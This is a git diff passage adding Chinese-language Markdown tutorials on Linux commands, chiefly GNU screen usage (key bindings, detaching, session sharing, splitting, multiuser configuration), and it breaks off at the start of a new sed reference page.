+C-a x -> 锁住当前的 window,需用用户密码解锁
+C-a d -> detach,暂时离开当前session,将目前的 screen session (可能含有多个 windows) 丢到后台执行,并会回到还没进 screen 时的状态,此时在 screen session 里,每个 window 内运行的 process (无论是前台/后台)都在继续执行,即使 logout 也不影响。 
+C-a z -> 把当前session放到后台执行,用 shell 的 fg 命令则可回去。
+C-a w -> 显示所有窗口列表
+C-a t -> time,显示当前时间,和系统的 load 
+C-a k -> kill window,强行关闭当前的 window
+C-a  -> 进入 copy mode,在 copy mode 下可以回滚、搜索、复制就像用使用 [vi 一样
+    C-b Backward,PageUp 
+    C-f Forward,PageDown 
+    H(大写) High,将光标移至左上角 
+    L Low,将光标移至左下角 
+    0 移到行首 
+    $ 行末 
+    w forward one word,以字为单位往前移 
+    b backward one word,以字为单位往后移 
+    Space 第一次按为标记区起点,第二次按为终点 
+    Esc 结束 copy mode 
+C-a ] -> paste,把刚刚在 copy mode 选定的内容贴上
+```
+
+### 使用 screen  
+
+ **安装screen** 
+
+流行的Linux发行版(例如Red Hat Enterprise Linux)通常会自带screen实用程序,如果没有的话,可以从GNU screen的官方网站下载。
+
+```
+[root@TS-DEV ~]# yum install screen
+[root@TS-DEV ~]# rpm -qa|grep screen
+screen-4.0.3-4.el5
+[root@TS-DEV ~]#
+```
+
+ **创建一个新的窗口** 
+
+安装完成后,直接敲命令screen就可以启动它。但是这样启动的screen会话没有名字,实践上推荐为每个screen会话取一个名字,方便分辨:
+
+```
+[root@TS-DEV ~]# screen -S david 
+```
+
+screen启动后,会创建第一个窗口,也就是窗口No. 0,并在其中打开一个系统默认的shell,一般都会是bash。所以你敲入命令screen之后,会立刻又返回到命令提示符,仿佛什么也没有发生似的,其实你已经进入Screen的世界了。当然,也可以在screen命令之后加入你喜欢的参数,使之直接打开你指定的程序,例如:
+
+```
+[root@TS-DEV ~]# screen vi david.txt
+```
+
+screen创建一个执行vi david.txt的单窗口会话,退出vi 将退出该窗口/会话。
+
+ **查看窗口和窗口名称** 
+
+打开多个窗口后,可以使用快捷键C-a w列出当前所有窗口。如果使用文本终端,这个列表会列在屏幕左下角,如果使用X环境下的终端模拟器,这个列表会列在标题栏里。窗口列表的样子一般是这样:
+
+```
+0$ bash  1-$ bash  2*$ bash  
+```
+
+这个例子中我开启了三个窗口,其中*号表示当前位于窗口2,-号表示上一次切换窗口时位于窗口1。
+
+Screen默认会为窗口命名为编号和窗口中运行程序名的组合,上面的例子中窗口都是默认名字。练习了上面查看窗口的方法,你可能就希望各个窗口可以有不同的名字以方便区分了。可以使用快捷键C-a A来为当前窗口重命名,按下快捷键后,Screen会允许你为当前窗口输入新的名字,回车确认。
+
+ **会话分离与恢复** 
+
+你可以不中断screen窗口中程序的运行而暂时断开(detach)screen会话,并在随后时间重新连接(attach)该会话,重新控制各窗口中运行的程序。例如,我们打开一个screen窗口编辑/tmp/david.txt文件:
+
+```
+[root@TS-DEV ~]# screen vi /tmp/david.txt
+```
+
+之后我们想暂时退出做点别的事情,比如出去散散步,那么在screen窗口键入C-a d,Screen会给出detached提示:
+
+暂时中断会话
+
+!
+
+半个小时之后回来了,找到该screen会话:
+
+```
+[root@TS-DEV ~]# screen -ls
+```
+
+!
+
+重新连接会话:
+
+```
+[root@TS-DEV ~]# screen -r 12865
+```
+
+一切都在。
+
+当然,如果你在另一台机器上没有分离一个Screen会话,就无从恢复会话了。这时可以使用下面命令强制将这个会话从它所在的终端分离,转移到新的终端上来:
+
+!
+
+ **清除dead 会话** 
+
+如果由于某种原因其中一个会话死掉了(例如人为杀掉该会话),这时screen -list会显示该会话为dead状态。使用screen -wipe命令清除该会话:
+
+!
+
+ **关闭或杀死窗口** 
+
+正常情况下,当你退出一个窗口中最后一个程序(通常是bash)后,这个窗口就关闭了。另一个关闭窗口的方法是使用C-a k,这个快捷键杀死当前的窗口,同时也将杀死这个窗口中正在运行的进程。
+
+如果一个Screen会话中最后一个窗口被关闭了,那么整个Screen会话也就退出了,screen进程会被终止。
+
+除了依次退出/杀死当前Screen会话中所有窗口这种方法之外,还可以使用快捷键C-a :,然后输入quit命令退出Screen会话。需要注意的是,这样退出会杀死所有窗口并退出其中运行的所有程序。其实C-a :这个快捷键允许用户直接输入的命令有很多,包括分屏可以输入split等,这也是实现Screen功能的一个途径,不过个人认为还是快捷键比较方便些。
+
+### screen 高级应用   
+
+ **会话共享** 
+
+还有一种比较好玩的会话恢复,可以实现会话共享。假设你在和朋友在不同地点以相同用户登录一台机器,然后你创建一个screen会话,你朋友可以在他的终端上命令:
+
+```
+[root@TS-DEV ~]# screen -x
+```
+
+这个命令会将你朋友的终端Attach到你的Screen会话上,并且你的终端不会被Detach。这样你就可以和朋友共享同一个会话了,如果你们当前又处于同一个窗口,那就相当于坐在同一个显示器前面,你的操作会同步演示给你朋友,你朋友的操作也会同步演示给你。当然,如果你们切换到这个会话的不同窗口中去,那还是可以分别进行不同的操作的。
+
+ **会话锁定与解锁** 
+
+Screen允许使用快捷键C-a s锁定会话。锁定以后,再进行任何输入屏幕都不会再有反应了。但是要注意虽然屏幕上看不到反应,但你的输入都会被Screen中的进程接收到。快捷键C-a q可以解锁一个会话。
+
+也可以使用C-a x锁定会话,不同的是这样锁定之后,会话会被Screen所属用户的密码保护,需要输入密码才能继续访问这个会话。
+
+ **发送命令到screen会话** 
+
+在Screen会话之外,可以通过screen命令操作一个Screen会话,这也为使用Screen作为脚本程序增加了便利。关于Screen在脚本中的应用超出了入门的范围,这里只看一个例子,体会一下在会话之外对Screen的操作:
+
+```
+[root@TS-DEV ~]# screen -S sandy -X screen ping www.baidu.com
+```
+
+这个命令在一个叫做sandy的screen会话中创建一个新窗口,并在其中运行ping命令。
+
+ **屏幕分割** 
+
+现在显示器那么大,将一个屏幕分割成不同区域显示不同的Screen窗口显然是个很酷的事情。可以使用快捷键C-a S将显示器水平分割,Screen 4.00.03版本以后,也支持垂直分屏,快捷键是C-a |。分屏以后,可以使用C-a 在各个区块间切换,每一区块上都可以创建窗口并在其中运行进程。
+
+可以用C-a X快捷键关闭当前焦点所在的屏幕区块,也可以用C-a Q关闭除当前区块之外其他的所有区块。关闭的区块中的窗口并不会关闭,还可以通过窗口切换找到它。
+
+!
+
+ **C/P模式和操作** 
+
+screen的另一个很强大的功能就是可以在不同窗口之间进行复制粘贴了。使用快捷键C-a 或者C-a [可以进入copy/paste模式,这个模式下可以像在vi中一样移动光标,并可以使用空格键设置标记。其实在这个模式下有很多类似vi的操作,譬如使用/进行搜索,使用y快速标记一行,使用w快速标记一个单词等。关于C/P模式下的高级操作,其文档的这一部分有比较详细的说明。
+
+一般情况下,可以移动光标到指定位置,按下空格设置一个开头标记,然后移动光标到结尾位置,按下空格设置第二个标记,同时会将两个标记之间的部分储存在copy/paste buffer中,并退出copy/paste模式。在正常模式下,可以使用快捷键C-a ]将储存在buffer中的内容粘贴到当前窗口。
+
+!
+
+ **更多screen功能** 
+
+同大多数UNIX程序一样,GNU Screen提供了丰富强大的定制功能。你可以在Screen的默认两级配置文件/etc/screenrc和$HOME/.screenrc中指定更多,例如设定screen选项,定制绑定键,设定screen会话自启动窗口,启用多用户模式,定制用户访问权限控制等等。如果你愿意的话,也可以自己指定screen配置文件。
+
+以多用户功能为例,screen默认是以单用户模式运行的,你需要在配置文件中指定multiuser on 来打开多用户模式,通过acl*(acladd,acldel,aclchg...)命令,你可以灵活配置其他用户访问你的screen会话。更多配置文件内容请参考screen的man页。
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/sed.md b/LearnShell/LinuxCommands/sed.md
new file mode 100644
index 0000000..c5cd240
--- /dev/null
+++ b/LearnShell/LinuxCommands/sed.md
@@ -0,0 +1,397 @@
+sed
+===
+
+功能强大的流式文本编辑器
+
+## 补充说明
+
+**sed** 是一种流编辑器,它是文本处理中非常中的工具,能够完美的配合正则表达式使用,功能不同凡响。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”(pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有 改变,除非你使用重定向存储输出。Sed主要用来自动编辑一个或多个文件;简化对文件的反复操作;编写转换程序等。
+
+## sed的选项、命令、替换标记  
+
+ **命令格式** 
+
+```
+sed [options] 'command' file(s)
+sed [options] -f scriptfile file(s)
+```
+
+### 选项  
+
+```
+-e